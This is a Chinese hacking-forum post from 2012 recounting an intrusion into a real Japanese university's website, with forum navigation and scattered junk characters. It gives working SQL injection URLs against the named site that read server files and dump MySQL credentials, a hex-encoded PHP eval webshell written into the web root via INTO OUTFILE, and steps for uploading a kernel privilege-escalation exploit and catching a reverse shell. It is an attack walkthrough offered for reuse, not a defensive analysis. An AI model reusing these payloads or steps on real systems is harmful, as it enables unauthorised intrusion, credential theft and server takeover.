找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2594|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
) E. |, {. ^* A  s/ u0 P4 s3 u& r5 M. q, ^! h; A
http://www.doshisha.ac.jp/chs/news/index.php?i=-15 G& J) J7 I/ ^$ r* }& Q( x! T
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:  u7 S1 D* `0 l! H9 d

/ g; T9 w& c2 ?! phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user- G5 Y6 a+ S) G% X* t0 @* b

' w6 j7 |5 Q/ I+ u6 v
4 D; j! s$ g) ?+ N" G
( y0 t; b* m/ l" Q$ ~1 |//@@datadir为数据库文件路径
6 n8 G& w( y- Q- p* V
0 f5 N. D5 x- Q  k, j/ [' E8 [, H
- N' A+ z3 z! W* @) R//load_file读取网站容器apache的配置文件
% j3 Z4 o, i1 v- u8 o0 y/ h
. t) ]" g! s$ }1 h& u& U  G/ Y) D
/ u( `& k7 g9 q//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
6 U# T7 h0 f* o) O复制代码7 A; X% _( b) y: C4 l+ j9 X, i

7 I4 E8 ?/ x* w虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
' u& C- ]+ I; u. ?- o+ o! a: _
" l/ Q4 T4 `" m1 Z1 M( w而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, O- T; e& Y/ X8 J0 t' F(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
. I9 }1 P; s# q( B! b& |$ l* a/ r& \) v6 Z  k3 x8 @$ `5 {
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
6 I) R4 J) t9 S0 P' ]如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html; o8 b) V* J2 d; k6 J

, f7 d3 x/ f! q9 e8 W: f既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/, Z/ \, `! e; u4 ^0 J
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
( c4 ^4 k* Q. `3 `直接写一句话:
' {" e2 l! T2 \; \: B9 J( B
9 t5 e- ^6 A( R5 nhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
: C: z6 ]( L  _: A+ `' y  \
5 h" m4 F( }6 X6 O
3 U$ q' a$ Y, j) ?6 ^1 a% V: U' z2 B( N% x, k- n. D
//最后的#是为了闭合前面的语句 7 ~0 h- D5 p& d. I+ z2 m; R
- V* l6 C$ C+ L5 O& }" {9 @6 d( h

0 Z1 P$ O5 m5 g' H9 |5 n/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ' Q" u" W$ |, D) J0 O9 M
) K2 }$ Y7 C2 @% x
5 e2 R+ A3 U- y% X
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ ( Y2 I0 H- X3 }/ ], D7 C) w
8 U3 f6 r6 \( R& W" b

/ K" H7 @( \. S- q% U& w' B9 I//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
% Z! S: Y! \9 R* H1 q. {1 z - y. t. y$ i0 B% Y* V

. q, \3 U& j& ]! F//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
+ C$ _0 r& J! p& A% y& y//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
8 o4 {+ I- @  n5 ]) h5 [+ d复制代码
0 |9 b/ b: l2 X9 m1 s, R, X7 t9 K$ q" Q$ n
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有2 B* m7 T" ?9 b, n. }/ Q
通过上述注入语句,我们就得到了一句话木马:2 m8 G0 v$ z& D2 }$ ]* n, w. M
6 b8 E( U' q6 w  N1 g
7 k% D  J: |$ n
) Y* D* S- f; i8 ^7 ^. X
6 ^- `& w3 f; S, r
! |$ ~! e- C" ?, T( k
http://www.doshisha.ac.jp/english/engnews_img/aa.php
( `5 L: w4 x7 Q3 w* a- v3 l复制代码6 V, w. ?: x& ]; s. `* L- g4 B
  {( n3 Q! X4 `8 J' t
用菜刀连接,密码是cmd,如图所示:
; E+ k& S( I5 n- d8 R- H$ K8 u然后在命令提示行里看了一下,现在的权限是:
7 y& F! f$ E3 I1 w7 E
( [1 D7 I7 d( v6 [" `8 y之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
5 Z! z9 {5 x8 X好在赋权给这个文件夹不需要root,直接执行赋权语句:( B1 O$ k: D( g) R, a3 A4 n# z; A, w
8 h# n. y5 p, _$ k4 t" Y) m: r
1 X& v- V- b. t5 Y* W
+ u$ D2 _  r3 _3 V/ q6 T5 [
# _/ v) J  z; F
) Z8 f9 |  V$ j8 s
chmod +x /tmp/ 0 u/ m9 g& b3 s1 i" f
复制代码
$ i  i/ ]# c. ]$ q2 l! b, F" T0 \8 j$ H0 S3 x. `9 h" g; |
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行+ m+ f. h, A: W1 p7 `$ C# m
然后就查了一下内核版本:
# v* v/ R, C8 j5 X0 M( ^/ J& G* \: `. @8 L
# I6 P! W$ F7 i; A' r
1 t1 y) P4 {6 X+ q5 F

3 j4 e4 w1 H. ?+ L" D% e% {
% c# ]8 G3 U, ~7 x( Zuname-a 9 n: J( F3 R9 h4 P
/ I% F& }* w* Z& }, n
8 d! i9 g/ Z- [# z, |, J
//其实lsb_release -a - i1 p. Z4 m6 S8 j2 ]# n3 a
复制代码
* G0 y0 n  N. |& h
* b: `$ ?8 d; l% L/ l" D+ t. g如图所示:
3 N+ L  {& _3 M+ O$ p' x1 e+ i* h/ ]$ [% O. r5 X
内核版本:linux mainz1 2.6.28-194.e15( C. B0 N. v. l  y# r
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
# ?" f3 q- Y/ r4 R0 _  e0 s查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹- L# p4 ^0 M+ s( U

7 e3 D) u* B* i( S3 d) ?然后给予执行权限
7 i8 L( R) f8 `* ]3 S) z一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样) S4 g9 b5 q: P3 I% `! g

3 p6 |* J' Q1 d0 g5 {) R
  A3 z+ V( @1 A) G0 |) `- h
/ P# f7 ^+ C0 G7 F* P1 d: b4 d   s% \& i' ]9 ]7 G8 J
6 h  A2 Q- C. z
chmod +x /tmp/2.6.18-194 / m# {+ W$ |& M: N6 R5 T
复制代码 然后直接执行!~
/ X( F8 e" E3 ]. b2 a- ]
  I' u/ b% a% ?总结:
7 [" ?" z* N: @# c7 N4 H* b3 ~0 C这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了0 s1 e5 T: ~1 K) }3 c: y
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
, f/ p9 ]# D- O' _0 L$ W% s/ J: b
3 d0 F! s$ `( Z" b, J# O* ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表